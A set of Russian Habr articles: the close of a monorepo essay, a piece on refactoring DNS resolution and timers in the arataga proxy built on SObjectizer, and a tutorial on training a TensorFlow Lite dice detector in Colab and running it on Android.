По сути, на большом масштабе то как компания действует с совместной работой с кодом, коллаборацией, сильным связыванием и т.д. *напрямую зависит от инженерной культуры и лидерства, и не имеет отношения к тому, используется ли монорепозиторий или полиропозиторий*. Оба решения выглядят одинаково для разработчика. Так зачем использовать монорепозиторий? **Пожалуйста, не надо!** | https://habr.com/ru/post/435306/ | null | ru | null |
# Развитие проекта arataga: пара рефакторингов по результатам натурных испытаний
OpenSource-проект [arataga](https://github.com/Stiffstream/arataga) -- это работающий прототип производительного socks5+http/1.1 прокси-сервера. Реализован arataga на базе [Asio](https://think-async.com/Asio/), [SObjectizer](https://github.com/Stiffstream/sobjectizer) и [RESTinio](https://github.com/Stiffstream/restinio). Об arataga [уже рассказывалось несколько месяцев](https://habr.com/ru/post/537616/) назад именно как о хорошем примере того, как выглядит реальный код на SObjectizer-е. Ведь одно дело повествовать о сильных сторонах SObjectizer-а с иллюстрациями из игрушечных примеров. Совсем другое -- иметь возможность показать почти что продакшен-код.
За время, прошедшее с первой публикации, удалось погонять arataga под более серьезной нагрузкой. Можно сказать, повезло провести первые натурные испытания.
Эти испытания выявили пару узких мест, устранение которых, как мне показалось, можно привести в качестве хороших примеров применения возможностей SObjectizer-а в ситуациях "вот здесь не то, что нам хотелось бы, и это нужно как можно быстрее исправить".
В частности, мы сегодня поговорим о том, что взаимодействие агентов друг с другом только посредством асинхронных сообщений -- это не догма. И что диспетчеры SObjectizer-а влияют на безопасность многопоточного программирования не менее серьезно, чем этот самый обмен сообщениями.
Собственная реализация взаимодействия с DNS
-------------------------------------------
Первым узким местом, которые выявили натурные испытания, стала процедура резолвинга доменных имен.
### Отказ от Asio-шного async\_resolve
В первой версии arataga ради экономии времени мы не стали делать реализацию взаимодействия с DNS посредством UDP. Вместо этого использовали средства для асинхронного резолвинга, которые доступны в Asio из коробки.
Как я понял, Asio для выполнения async\_resolve использует дополнительную рабочую нить, на которой делает обычные синхронные обращения к ОС для преобразования доменного имени в набор IP-адресов. И, если одно такое обращение "притормозит", то будут приостановлены и все последующие обращения к async\_resolve. Кроме того, если нам нужно выполнить резолвинг сразу нескольких имен, то параллельно мы этого сделать не можем. Резолвинг будет выполняться последовательно.
В итоге, когда потребовалось обслуживать множество параллельных преобразований доменных имен в IP-адреса Asio-шный async\_resolve буквально "вставал колом". Некоторым клиентам результат операции async\_resolve приходилось ждать по несколько десятков секунд (максимальные значения, насколько я помню, колебались в районе от 35 до 40 секунд, в зависимости от нагрузки).
Естественно, это никуда не годилось: при наступлении таких тормозов у большинства клиентов просто истекали тайм-ауты и куча соединений тупо отваливалась. Поэтому мы поменяли работу с DNS на свою собственную реализацию.
### Работа с DNS на уровне агентов: было и стало
Не думаю, что есть смысл рассказывать о том, как именно было реализовано общение с DNS-серверами посредством UDP-датаграмм, поскольку вся эта работа сосредоточена внутри одного агента `a_nameserver_interactor_t` и никто деталей этой работы не видит.
Гораздо интереснее рассказывать о том, как резолвинг доменных имен представлен на уровне взаимодействия агентов в arataga.
Первоначальная схема была тривиальной: был некий интерфейсный почтовый ящик (mbox) и два сообщения -- `resolve_request_t` и `resolve_reply_t`. За этим почтовым ящиком скрывался единственный агент `a_dns_resolver_t`, который и отвечал за процедуру резолвинга доменных имен: держал кэш уже обработанных имен, организовывал список ждущих своей очереди доменных имен, дергал async\_resolve и обрабатывал результаты резолвинга.
Важный момент, на который хотелось бы обратить внимание -- это то, что само существование dns\_resolver было неизвестно другим частям arataga. Механизм резолвинга доменных имен был практически в буквальном смысле "черным ящиком". Просто есть некий mbox, в который нужно отсылать сообщения resolve\_request. В каждом resolve\_request передается mbox, на который затем прилетает resolve\_reply. И это все, что требовалось знать.
Поэтому когда старая реализация резолвинга доменных имен была практически полностью выброшена и заменена новой, то этого внутри arataga никто и не заметил.
Новая же реализация потребовала двух разных агентов вместо одного.
Во-первых, это агент `interactor::a_nameserver_interactor_t`, который непосредственно общается с DNS-серверами по UDP. Агент nameserver\_interactor отвечает за преобразование конкретного запроса на резолвинг в соответствующую UDP-датаграмму и обработку ответов от DNS-серверов.
Во-вторых, это агент `lookup_conductor::a_conductor_t`, который принимает входящие resolve\_request, проверяет наличие результатов в кэше, выстраивает в очередь запросы, для которых нужен резолвинг, и отправляет команды агенту nameserver\_interactor.
#### А вот с conductor все не так просто :)
И самое любопытное здесь то, что на самом деле conductor-ов два.
Первоначально планировалось использовать всего один экземпляр conductor. Который бы обрабатывал и IPv4, и IPv6. По аналогии с тем, как это делал dns\_resolver из первых версий arataga: dns\_resolver в случае успешного результата получал список IP-адресов, в котором присутствовали и IPv4, и IPv6 адреса. И когда приходил resolve\_request\_t для получения IPv4 адреса, то dns\_resolver выбирал из списка IPv4 адрес. А когда приходил resolve\_request для IPv6 адреса, то dns\_resolver искал в списке IPv6 адрес (либо же конвертировал в IPv6 один из IPv4 адресов).
Такая схема была принята потому что Asio-шный async\_resolver мог вернуть в случае успеха список с двумя типами адресов.
И при рефакторинге взаимодействия с DNS-серверами предполагалось, что таким же образом будет работать и nameserver\_interactor.
Но в процессе тестирования nameserver\_interactor с реальными DNS-серверами выяснилось, что работает либо запрос ресурсной записи типа A, либо запрос ресурсной записи типа AAAA. Но вот если отослать в одной UDP-датаграмме сразу два запроса (и для A, и для AAAA), то ответ придет только на один из них.
Посему имея на руках почти готовые реализации conductor и nameserver\_interactor нужно было что-то оперативно решать. Понятно, что при обращении к nameserver\_interactor придется явно указывать тип IP-адреса (IPv4 или IPv6). Но не понятно, как быть с кэшированием результатов и выстраиванием запросов в очереди.
Усложнять conductor и делать в нем отдельные кэши/очереди для разных типов IP-адресов? Вести общий кэш, в котором будут хранится адреса обоих типов и инициировать запрос к nameserver\_interactor, если адресов нужного типа в кэше нет?
Тратить дополнительное время на рефакторинг conductor не хотелось, поэтому в модном и молодежном стиле "фигак-фигак и в продакшен" был применен метод грубой силы: вместо одного conductor-а запускается сразу два. Один обслуживает запросы для IPv4, второй -- запросы для IPv6. И оба они подписываются на сообщения resolve\_request из интерфейсного mbox-а.
Вопрос был лишь в том, чтобы разрулить поток resolve\_request между этими двумя агентами. Нужно был как-то сделать так, чтобы один агент получал только запросы для IPv4, а второй -- только запросы для IPv6.
Сделать это оказалось совсем не сложно. Были применены фильтры доставки для сообщений.
Фильтры доставки -- это предикаты, которые агент может "навесить" на сообщения из конкретного multi-consumer mbox-а. Когда сообщение отсылается в mbox, то mbox обращается к предикату с вопросом "можно ли доставлять конкретно этот экземпляр сообщения до твого владельца?" Если предикат говорит, что можно, то сообщение доставляется. Если нет, то игнорируется.
Благодаря фильтрам доставки агента conductor не пришлось переделывать для того, чтобы запускать его в двух экземплярах. Все, что потребовалось сделать -- это добавить установку фильтра перед подпиской:
```
void
a_conductor_t::so_define_agent()
{
// We want to receive only requests for our IP-version.
so_set_delivery_filter(
m_incoming_requests_mbox,
[ip_ver = m_ip_version]( const resolve_request_t & req ) {
return ip_ver == req.m_ip_version;
} );
so_subscribe( m_incoming_requests_mbox )
.event( &a_conductor_t::on_resolve );
```
### Каков результат этих изменений?
Главный результат -- это возможность параллельного выполнения множества операций резолвинга имен без формирования длинных очередей и долгого ожидания в этих очередях. В итоге по тайм-ауту отваливаются только те запросы, на которые не отвечают сами DNS-сервера. А это на практике происходит очень и очень редко. Так что количество соединений, не получивших обслуживания из-за тайм-аутов DNS, сократилось драматически.
Таймеры для acl\_handler-ов
---------------------------
Первые запуски arataga под реальной нагрузкой показали, что потребление ресурсов у arataga не настолько низкое, как хотелось бы. Что и не удивительно, т.к. arataga все еще в стадии прототипа и под высокой нагрузкой тестов было совсем мало, так что узких мест там наверняка множество.
Одно из них оказалось прямо на поверхности, не пришлось даже глубоко копать.
Дело в том, что внутри arataga есть специальное сообщение one\_second\_timer, которое генерируется раз в секунду и которое используется acl\_handler-ами для разных целей: и для контроля тайм-аутов текущих операций, и для пересчета лимитов по подключениям.
Дабы не тратить время при выпуске первой версии arataga была использована самая простая схема: каждый acl\_handler просто подписывается на one\_second\_timer. Что означает, что когда это сообщение возникает, то оно доставляется всем подписчикам.
Т.е., если у нас создано 15K acl\_handler-ов, то раз в секунду у них у всех запускается обработчик one\_second\_timer. Что и увеличивает потребление CPU.
Проблема в том, что далеко не у всех из этих 15K acl\_handler-ов в настоящий момент есть необходимость реагировать на one\_second\_timer. У части acl\_handler-ов не будет вообще подключений, которые нужно обслуживать. И доставлять one\_second\_timer до таких acl\_handler-ов нет смысла.
Только вот если агент подписался на сообщение, то сообщение к нему будет доставлено. Даже если сейчас агент в нем и не заинтересован.
Поэтому встал вопрос о том, как сделать так, чтобы на таймер реагировали только те acl\_handler-ы, которые в таймере сейчас заинтересованы. И сделать это дешево.
### Какие подходы нельзя назвать хорошими?
#### Фильтры доставки
Можно было бы попробовать задействовать фильтры доставки (о которых речь уже шла выше). Так, фильтр доставки при отсылке сообщения проверял бы наличие принятых подключений у acl\_handler-а и, если подключений нет, то запрещал бы доставку сообщения.
Тут сразу несколько проблем.
Во-первых, отсылка сообщения one\_second\_timer идет с контекста специальной нити таймера, которой управляет сам SObjectizer. И на этой же нити в процессе отсылки сообщения запускаются фильтры доставки. Следовательно, если фильтр доставки хочет обратиться к каким-то потрохам acl\_handler-а, то эти потроха должны быть как-то защищены с точки зрения thread-safety. Например, посредством mutex-а. Что отнюдь не бесплатно. И затрудняет реализацию самого acl\_handler-а, т.к. внутри агента нужно заботиться о thread-safety, хотя агенты как раз и нужны, чтобы такими вещами не заниматься.
Во-вторых, если у нас много acl\_handler-ов, то запуск фильтров доставки для каждого них -- это ведь такая же лишняя работа, как и доставка one\_second\_timer. Да, это может быть чуть дешевле. Но именно что чуть.
Так что фильтры доставки, наверное, могли бы немного снизить актуальность проблемы, но точно не устранили бы ее.
#### Подписка/отписка на/от one\_second\_timer
Если нужно доставлять one\_second\_timer только до агентов, которые обслуживают принятые подключения, то напрашивается простой и логичный подход: пусть acl\_handler при принятии первого подключения создает подписку на one\_second\_timer, а при потере последнего подключения -- отписывается от one\_second\_timer.
Это нормальный подход. По крайней мере он идеологически правильный и не ведет к каким-либо проблемам с thread-safety.
Но его нельзя назвать совсем уж дешевым. Ведь подписка на mbox -- это захват нескольких объектов синхронизации (в mbox-е и в агенте-подписчике) + несколько аллокаций памяти на создание объектов-подписок.
А хотелось бы, чтобы работа с one\_second\_timer была еще дешевле.
### Использованный подход
Для того, чтобы еще более снизить расходы на доставку one\_second\_timer только до тех, кто в этом нуждается, был применен следующий трюк.
Введено понятие timer\_provider. Это интерфейс объекта, который должен присутствовать на каждой io\_thread в единственном числе. Его задачей является периодический вызов метода on\_timer у привязанных к этой же io\_thread объектов timer\_consumer. Но не у всех timer\_consumer, а только у тех, кто заявил о себе timer\_provider-у. Т.е., когда у timer\_consumer появляется потребность в обработке таймера, он вызывает у timer\_provider-а метод activate\_consumer, а когда такая потребность исчезает -- вызывает метод deactivate\_consumer. Таким образом у timer\_provider есть список активных timer\_consumer-ов.
За интерфейсом timer\_provider скрывается простой агент, который подписывается на one\_second\_timer. Получив это сообщение timer\_provider просто бежит по своему списку активных timer\_consumer-ов и вызывает у них on\_timer.
timer\_consumer-ами являются acl\_handler-ы. Когда у acl\_handler-а (он же timer\_consumer) появляется первое принятое подключение, то acl\_handler добавляет себя в список к timer\_provider-у. А когда подключений не остается acl\_handler вычеркивает себя из списка timer\_provider-а.
Фокус в том, что все взаимодействующие в рамках одной io\_thread timer\_provider и timer\_consumer-ы привязанны к одному и тому же диспетчеру. Что гарантирует, что они работают на одной и той же рабочей нити. А значит могут обращаться друг к другу не боясь приключений с thread-safety.
Это отличный пример того, как при работе с SObjectizer-ом отказаться от взаимодействия с агентами только посредством асинхронного взаимодействия и выполнять синхронные вызовы методов агентов, но при этом не иметь проблем с thread-safety. Ведь диспетчеры в SObjectizer-е и были введены как раз для того, чтобы программист мог управлять тем где и как работают его агенты. И, если у программиста есть возможность директивно привязать своих агентов к конкретной нити, то почему бы этим не пользоваться. По крайней мере в условиях, когда хочется выжимать максимум.
#### Защита от повисших указателей
Сейчас timer\_provider и timer\_consumer хранят указатели друг на друга. Но, при этом агенты, реализующие данные интерфейсы, принадлежат разным кооперациям. Т.е. уничтожаться они могут в разном порядке.
Когда у acl\_handler-а (т.е. у timer\_consumer-а) вызывается so\_evt\_finish (это последнее событие для агента перед дерегистрацией), то acl\_handler вычеркивает себя из списка timer\_provider-а. Так что у timer\_provider-а не может остаться повисших указателей на timer\_consumer-ы (в теории, по крайней мере).
Но что с самим указателем на timer\_provider? Как сделать так, чтобы он оставался валидным до тех пор, пока жив хотя бы один acl\_handler?
Очень просто: кооперация с агентом timer\_provider выступает в качестве родительской для всех коопераций с acl\_handler-aми. В этом случае SObjectizer гарантирует, что родительская кооперация не будет уничтожена пока есть хотя бы одна живая дочерняя кооперация. Т.е. указатель на timer\_provider внутри timer\_consumer-ов будет оставаться валидным.
### Каков результат этих изменений?
В зависимости от конфигурации, количества ACL внутри arataga и входящей нагрузки расход CPU на тестовых прогонах снизился от 1.5 до 4-х раз.
Заключение
----------
Для нас arataga получился интересным полигоном для еще одних натурных испытаний SObjectizer и RESTinio. Да еще и с возможностью открыто показать как выглядит реальный код на SObjectizer-е.
Надеюсь, что читателям, которые следят за SObjectizer, было интересно. Если есть какие-то вопросы или непонятные моменты, то я с удовольствием отвечу на них в комментариях.
В завершение хочу сказать вот что: не смотря на то, что [пока у нас нет ресурсов на дальнейшее развитие своего OpenSource](https://eao197.blogspot.com/2021/01/softbusiness-restiniosobjectizerso5extra.html), тем не менее проекты не заброшены. Если кто-то находит ошибки, [мы их исправляем](https://github.com/Stiffstream/sobjectizer/releases/tag/v.5.7.2.5). Если у кого-то [возникают вопросы](https://groups.google.com/g/sobjectizer/c/UfuDXrJjfOU), то стараемся помочь. Иногда даже выпускаем [обновления с мелкими улучшениями](https://github.com/Stiffstream/json_dto/releases/tag/v.0.2.12).
Так что, если у кого-то есть сомнения о том, брать или не брать SObjectizer/RESTinio/json-dto в работу, то отбросьте их и попробуйте. В случае сложностей или проблем смело обращайтесь к нам, без помощи не оставим. | https://habr.com/ru/post/559356/ | null | ru | null |
# Распознавание объектов на android с помощью TensorFlow: от подготовки данных до запуска на устройстве
Обучение нейросети распознаванию образов — долгий и ресурсоемкий процесс. Особенно когда под рукой есть только недорогой ноут, а не компьютер с мощной видеокартой. В этом случае на помощь придёт [Google Colaboratory](https://colab.research.google.com/), которая предлагает совершенно бесплатно воспользоваться GPU уровня Tesla K80 ([подробнее](https://colab.research.google.com/drive/151805XTDg--dgHb3-AXJCpnWaqRhop_2)).
В этой статье описан процесс подготовки данных, обучения модели tensorflow в Google Colaboratory и её запуск на android устройстве.
Подготовка данных
-----------------
В качестве примера попробуем обучить нейросеть распознавать белые игральные кости на черном фоне. Соответственно, для начала, надо создать набор данных, достаточный для обучения (пока остановимся на ~100 фото).
Для обучения воспользуемся [Tensorflow Object Detection API](https://github.com/tensorflow/models/tree/master/research/object_detection). Все необходимые для обучения данные мы подготовим на ноутбуке. Нам понадобится менеджер управления окружением и зависимостями **conda**. Инструкция по установке [тут](https://docs.conda.io/projects/conda/en/latest/user-guide/install/index.html).
Создадим окружение для работы:
```
conda create -n object_detection_prepare pip python=3.6
```
И активируем его:
```
conda activate object_detection_prepare
```
Установим зависимости которые нам понадобятся:
```
pip install --ignore-installed --upgrade tensorflow==1.14
pip install --ignore-installed pandas
pip install --ignore-installed Pillow
pip install lxml
conda install pyqt=5
```
Создадим папку **object\_detection**, и положим все наши фотографии в папку **object\_detection/images**.
> В Google Colab есть ограничение на использование памяти, поэтому перед разметкой данных нужно снизить разрешение фотографий, чтобы в процессе обучения не столкнутся с ошибкой **"tcmalloc: large alloc...."**.
Создадим папку **object\_detection/preprocessing** и добавим в неё [подготовленные](https://github.com/AleksandrTabolin/tensorflow_object_detector_with_colab/tree/master/object_detection/preprocessing) скрипты.
Для изменения размера фото используем скрипт:
```
python ./object_detection/preprocessing/image_resize.py -i ./object_detection/images --imageWidth=800 --imageHeight=600
```
Этот скрипт пробежится по папке с указанными фото, изменит их размер до 800x600 и сложит их в **object\_detection/images/resized**. Теперь можно заменить ими оригинальные фотографии в **object\_detection/images**.
Для разметки данных воспользуемся тулзой [labelImg](https://github.com/tzutalin/labelImg).
Клонируем репозиторий **labelImg** в **object\_detection**
Переходим в папку **labelImg**
```
cd [FULL_PATH]/object_detection/labelImg
```
и выполняем команду:
```
pyrcc5 -o libs/resources.py resources.qrc
```
После этого можно приступить к разметке данных (это самый долгий и скучный этап):
```
python labelImg.py
```
В “Open dir” указываем папку **object\_detection/images** и проходим по всем фото, выделяя объекты для распознавания и указывая их класс. В нашем случае это номиналы игральных костей (1, 2, 3, 4, 5, 6). Сохраним метаданные (файлы \*.xml) в той же папке.
Создадим папку **object\_detection/training\_demo**, которую мы чуть позже зальем в Google Colab для обучения.
Разделим наши фото (с метаданными) на тренировочные и тестовые в соотношение **80/20** и переместим их в соответствующие папки **object\_detection/training\_demo/images/train** и **object\_detection/training\_demo/images/test**.
Создадим папку **object\_detection/training\_demo/annotations**, в которую будем складывать файлы с метаданными необходимыми для обучения. Первым из них будет **label\_map.pbtxt**, в котором укажем отношение класса объекта и целочисленного значения. В нашем случае это:
**label\_map.pbtxt**
```
item {
id: 1
name: '1'
}
item {
id: 2
name: '2'
}
item {
id: 3
name: '3'
}
item {
id: 4
name: '4'
}
item {
id: 5
name: '5'
}
item {
id: 6
name: '6'
}
```
Помните метаданные, которые мы получили в процессе разметки данных? Чтобы использовать их для обучения, необходимо конвертировать их в формат [TFRecord](https://www.tensorflow.org/tutorials/load_data/tf_records). Для конвертации воспользуемся скриптами из источника [1].
Проведем конвертацию в два этапа: **xml** -> **csv** и **csv** -> **record**
Перейдём в папку preprocessing :
```
cd [FULL_PATH]\object_detection\preprocessing
```
**1.**Из xml в csv
Тренировочные данные:
```
python xml_to_csv.py -i [FULL_PATH]/object_detection/training_demo/images/train -o [FULL_PATH]/object_detection/training_demo/annotations/train_labels.csv
```
Тестовые данные:
```
python xml_to_csv.py -i [FULL_PATH]/object_detection/training_demo/images/test -o [FULL_PATH]/object_detection/training_demo/annotations/test_labels.csv
```
**2.** Из csv в record
Тренировочные данные:
```
python generate_tfrecord.py --label_map_path=[FULL_PATH]\object_detection\training_demo\annotations\label_map.pbtxt --csv_input=[FULL_PATH]\object_detection\training_demo\annotations\train_labels.csv --output_path=[FULL_PATH]\object_detection\training_demo\annotations\train.record --img_path=[FULL_PATH]\object_detection\training_demo\images\train
```
Тестовые данные:
```
python generate_tfrecord.py --label_map_path=[FULL_PATH]\object_detection\training_demo\annotations\label_map.pbtxt --csv_input=[FULL_PATH]\object_detection\training_demo\annotations\test_labels.csv --output_path=[FULL_PATH]\object_detection\training_demo\annotations\test.record --img_path=[FULL_PATH]\object_detection\training_demo\images\test
```
На этом мы закончили подготовку данных, теперь надо выбрать модель, которую будем обучать.
Доступные модели для переобучения можно найти [тут](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/detection_model_zoo.md).
Сейчас мы выберем модель **ssdlite\_mobilenet\_v2\_coco**, чтобы в дальнейшем запустить обученную модель на **android** устройстве.
Скачиваем архив с моделью и распаковываем его в **object\_detection/training\_demo/pre-trained-model**.
Должно получиться что-то вроде
**object\_detection/training\_demo/pre-trained-model/ssdlite\_mobilenet\_v2\_coco\_2018\_05\_09**
Из распакованного архива копируем файл **pipeline.config** в **object\_detection/training\_demo/training** и переименовываем его в **ssdlite\_mobilenet\_v2\_coco.config**.
Далее нам надо настроить его под свою задачу, для этого:
**1.** Укажем количество классов
```
model.ssd.num_classes: 6
```
**2.** Укажем размер пакета (количество данных для обучения за одну итерацию), количество итераций и путь к сохраненной модели из архива, который мы скачали
```
train_config.batch_size: 18
train_config.num_steps: 20000
train_config.fine_tune_checkpoint:"./training_demo/pre-trained-model/ssdlite_mobilenet_v2_coco_2018_05_09/model.ckpt"
```
**3.** Укажем количество фото в тренировочном наборе (**object\_detection/training\_demo/images/train**)
```
eval_config.num_examples: 64
```
**4.** Укажем путь к набору данных для тренировки
```
train_input_reader.label_map_path: "./training_demo/annotations/label_map.pbtxt"
train_input_reader.tf_record_input_reader.input_path:"./training_demo/annotations/train.record"
```
**5.** Укажем путь к тестовому набору данных
```
eval_input_reader.label_map_path: "./training_demo/annotations/label_map.pbtxt"
eval_input_reader.tf_record_input_reader.input_path:"./training_demo/annotations/test.record"
```
В итоге, у вас должно получиться что то вроде [этого](https://github.com/AleksandrTabolin/tensorflow_object_detector_with_colab/tree/master/object_detection/training_demo).
Далее архивируем папку **training\_demo** и получившийся **training\_demo.zip** заливаем в Google Drive.
**Альтернатива работы с архивом**
> В [этой](https://dev.to/kriyeng/8-tips-for-google-colab-notebooks-to-take-advantage-of-their-free-of-charge-12gb-ram-gpu-be4) статье рассказывается как примонтировать google drive к виртуальной машине Google Colab, но нужно не забыть поменять все пути в конфигах и скриптах
На этом подготовка данных закончена, перейдем к обучению.
Обучение модели
---------------
В Google Drive выбираем **training\_demo.zip**, кликаем на **Get shareable link** и из полученной ссылки сохраним себе **id** этого файла:
drive.google.com/open?id=**[YOUR\_FILE\_ID\_HERE]**
Самый просто способ воспользоваться Google Colab — создать новый блокнот в Google Drive.
По умолчанию обучение будет выполняться на CPU. Чтобы использовать GPU, нужно поменять тип runtime.
Готовый блокнот можно взять [тут](https://github.com/AleksandrTabolin/tensorflow_object_detector_with_colab/blob/master/object_detection.ipynb).
Обучение состоит из следующих этапов:
**1.** Клонируем репозиторий TensorFlow Models:
```
!git clone https://github.com/tensorflow/models.git
```
**2.** Устанавливаем protobuf и компилируем необходимые файлы в object\_detection:
```
!apt-get -qq install libprotobuf-java protobuf-compiler
%cd ./models/research/
!protoc object_detection/protos/*.proto --python_out=.
%cd ../..
```
**3.** Добавляем необходимые пути в переменную окружения PYTHONPATH:
```
import os
os.environ['PYTHONPATH'] += ":/content/models/research/"
os.environ['PYTHONPATH'] += ":/content/models/research/slim"
os.environ['PYTHONPATH'] += ":/content/models/research/object_detection"
os.environ['PYTHONPATH'] += ":/content/models/research/object_detection/utils"
```
**4.** Для получения файла из Google Drive устанавливаем PyDrive и авторизируемся:
```
!pip install -U -q PyDrive
from pydrive.auth import GoogleAuth
from pydrive.drive import GoogleDrive
from google.colab import auth
from oauth2client.client import GoogleCredentials
auth.authenticate_user()
gauth = GoogleAuth()
gauth.credentials = GoogleCredentials.get_application_default()
drive = GoogleDrive(gauth)
```
**5.** Скачиваем архив (нужно указать id вашего файла) и разархивируем его:
```
drive_file_id="[YOUR_FILE_ID_HERE]"
training_demo_zip = drive.CreateFile({'id': drive_file_id})
training_demo_zip.GetContentFile('training_demo.zip')
!unzip training_demo.zip
!rm training_demo.zip
```
**6.** Запускаем процесс обучения:
```
!python ./models/research/object_detection/legacy/train.py --logtostderr --train_dir=./training_demo/training --pipeline_config_path=./training_demo/training/ssdlite_mobilenet_v2_coco.config
```
**Описание параметров**
**--train\_dir**=./training\_demo/training — путь к директории, где будут лежать
результаты обучение
**--pipeline\_config\_path**=./training\_demo/training/ssdlite\_mobilenet\_v2\_coco.config — путь к конфигу
**7.** Конвертируем результат обучения в frozen graph, который можно будет использовать:
```
!python /content/models/research/object_detection/export_inference_graph.py --input_type image_tensor --pipeline_config_path /content/training_demo/training/ssdlite_mobilenet_v2_coco.config --trained_checkpoint_prefix /content/training_demo/training/model.ckpt-[CHECKPOINT_NUMBER]
--output_directory /content/training_demo/training/output_inference_graph_v1.pb
```
**Описание параметров**
**--pipeline\_config\_path** /content/training\_demo/training/ssdlite\_mobilenet\_v2\_coco.config — путь к конфигу
**--trained\_checkpoint\_prefix** /content/training\_demo/training/model.ckpt-[CHECKPOINT\_NUMBER] — путь к чекпоинту, который мы хотим конвертировать.
**--output\_directory** /content/training\_demo/training/output\_inference\_graph\_v1.pb — имя сконвертированной модели
Номер чекпоинта **[CHECKPOINT\_NUMBER]**, можно посмотреть в папке **content/training\_demo/training/**. **ПОСЛЕ** обучения там должны появиться файлы типа model.ckpt-1440.index, model.ckpt-1440.meta. 1440 — это и **[CHECKPOINT\_NUMBER]** и номер итерации обучения.
Для визуализации результата обучения в блокноте есть специальный скрипт. На рисунке ниже показан результат распознавания изображения из тестового набора данных после ~20000 итераций обучения.
**8.** Конвертация обученной модели в tflite.
Для использования [tensorflow lite](https://www.tensorflow.org/lite) нужно конвертировать модель в формат **tflite**. Для этого конвертируем результат обучения в **frozen graph** который поддерживает конвертацию в **tflite** (параметры такие же как при использовании скрипта **export\_inference\_graph.py**):
```
!python /content/models/research/object_detection/export_tflite_ssd_graph.py --pipeline_config_path /content/training_demo/training/ssdlite_mobilenet_v2_coco.config --trained_checkpoint_prefix /content/training_demo/training/model.ckpt-[CHECKPOINT_NUMBER] --output_directory /content/training_demo/training/output_inference_graph_tf_lite.pb
```
Для конвертации в **tflite** нам нужна дополнительная информация о модели, для её получения скачиваем модель из **output\_inference\_graph\_tf\_lite.pb**:
И открываем её в тулзе [Netron](https://lutzroeder.github.io/netron/). Нас интересует названия и размерность входного и выходного узлов модели.
Зная их можно конвертировать pb модель в tflite формат:
```
!tflite_convert --output_file=/content/training_demo/training/model_q.tflite --graph_def_file=/content/training_demo/training/output_inference_graph_tf_lite_v1.pb/tflite_graph.pb --input_arrays=normalized_input_image_tensor --output_arrays='TFLite_Detection_PostProcess','TFLite_Detection_PostProcess:1','TFLite_Detection_PostProcess:2','TFLite_Detection_PostProcess:3' --input_shapes=1,300,300,3 --enable_select_tf_ops --allow_custom_ops --inference_input_type=QUANTIZED_UINT8 --inference_type=FLOAT --mean_values=128 --std_dev_values=128
```
**Описание параметров**
**--output\_file**=/content/training\_demo/training/model\_q.tflite — путь к результату конвертации
**--graph\_def\_file**=/content/training\_demo/training/output\_inference\_graph\_tf\_lite\_v1.pb/tflite\_graph.pb — путь к frozen graph, который нужно конвертировать
**--input\_arrays**=normalized\_input\_image\_tensor — название входного узла, которое мы узнали выше
**--output\_arrays**='TFLite\_Detection\_PostProcess','TFLite\_Detection\_PostProcess:1','TFLite\_Detection\_PostProcess:2','TFLite\_Detection\_PostProcess:3' — названия выходных узлов, которые мы узнали выше
**--input\_shapes**=1,300,300,3 — размерность входных данных, которые мы узнали выше
**--enable\_select\_tf\_ops** — для использования расширенного runtime TensorFlow Lite
**--allow\_custom\_ops** — для использования TensorFlow Lite Optimizing Converter
**--inference\_type**=FLOAT — тип данных для всех массивов в модели кроме входных
**--inference\_input\_type**=QUANTIZED\_UINT8 — тип данных для всех входных массивов в модели
**--mean\_values**=128 **--std\_dev\_values**=128 — среднее значение и стандартное отклонение входных данных, для использования QUANTIZED\_UINT8
Архивируем папку с результатами обучения и заливаем её в Google Drive:
```
!zip -r ./training_demo/training.zip ./training_demo/training/
training_result = drive.CreateFile({'title': 'training_result.zip'})
training_result.SetContentFile('training_demo/training.zip')
training_result.Upload()
```
> Если будет ошибка Invalid client secrets file, то нужно сделать повторную авторизацию в google drive.
Запуск модели на android устройстве
-----------------------------------
В основе android приложения был использован [официальный гайд](https://www.tensorflow.org/lite/models/object_detection/overview) по object detection, но он был полностью переписан с использованием kotlin и [CameraX](https://developer.android.com/training/camerax). Полностью код можно посмотреть [тут](https://github.com/AleksandrTabolin/tf_object_detection_android).
CameraX уже имеет механизм для анализа входящих фреймов с камеры с помощью [ImageAnalysis](https://developer.android.com/reference/androidx/camera/core/ImageAnalysis.html). Логика по распознаванию находится в [ObjectDetectorAnalyzer](https://github.com/AleksandrTabolin/tf_object_detection_android/blob/master/app/src/main/java/ru/object/detection/camera/ObjectDetectorAnalyzer.kt).
Весь процесс распознавания изображения можно разбить на несколько этапов:
**1.** На вход мы получаем изображение которое имеет [YUV](https://ru.wikipedia.org/wiki/YUV) формат. Для дальнейшей работы его нужно конвертировать в RGB формат:
```
val rgbArray = convertYuvToRgb(image)
```
**2.** Далее нужно трансформировать изображение (повернуть, если есть необходимость, и изменить размер до входных значений модели, в нашем случае это 300x300), для этого отрисуем массив с пикселями на Bitmap и применим на нём трансформацию:
```
val rgbBitmap = getRgbBitmap(rgbArray, image.width, image.height)
val transformation = getTransformation(rotationDegrees, image.width, image.height)
Canvas(resizedBitmap).drawBitmap(rgbBitmap, transformation, null)
```
**3.** Конвертируем bitmap в массив пикселей, и отдадим его на вход детектора:
```
ImageUtil.storePixels(resizedBitmap, inputArray)
val objects = detect(inputArray)
```
**4.** Для визуализации передадим результат распознавания в RecognitionResultOverlayView и преобразуем координаты с соблюдением соотношения сторон:
```
val scaleFactorX = measuredWidth / result.imageWidth.toFloat()
val scaleFactorY = measuredHeight / result.imageHeight.toFloat()
result.objects.forEach { obj ->
val left = obj.location.left * scaleFactorX
val top = obj.location.top * scaleFactorY
val right = obj.location.right * scaleFactorX
val bottom = obj.location.bottom * scaleFactorY
canvas.drawRect(left, top, right, bottom, boxPaint)
canvas.drawText(obj.text, left, top - 25f, textPaint)
}
```
Чтобы запустить нашу модель в приложении, нужно заменить в assets файл с моделью на **training\_demo/training/model\_q.tflite** (переименовав её в **detect.tflite**) и файл с метками **labelmap.txt**, в нашем случае это:
**detect.tflite**
```
1
2
3
4
5
6
```
Так как в официальном гайде используется **SSD Mobilenet V1**, в котором индексация меток начинает с 1, а не с 0, нужно поменять labelOffset с 1 на 0 в методе collectDetectionResult класса ObjectDetector.
На этом всё.
На видео результат того, как обученная модель работает на стареньком Xiaomi Redmi 4X :
> В процессе работы использовались следующие ресурсы:
>
> * <https://tensorflow-object-detection-api-tutorial.readthedocs.io>
> * <https://github.com/EdjeElectronics/TensorFlow-Object-Detection-API-Tutorial-Train-Multiple-Objects-Windows-10>
> * <https://lutzroeder.github.io/netron/>
>
>
>
> | https://habr.com/ru/post/488210/ | null | ru | null |
# Язык программирования Rave
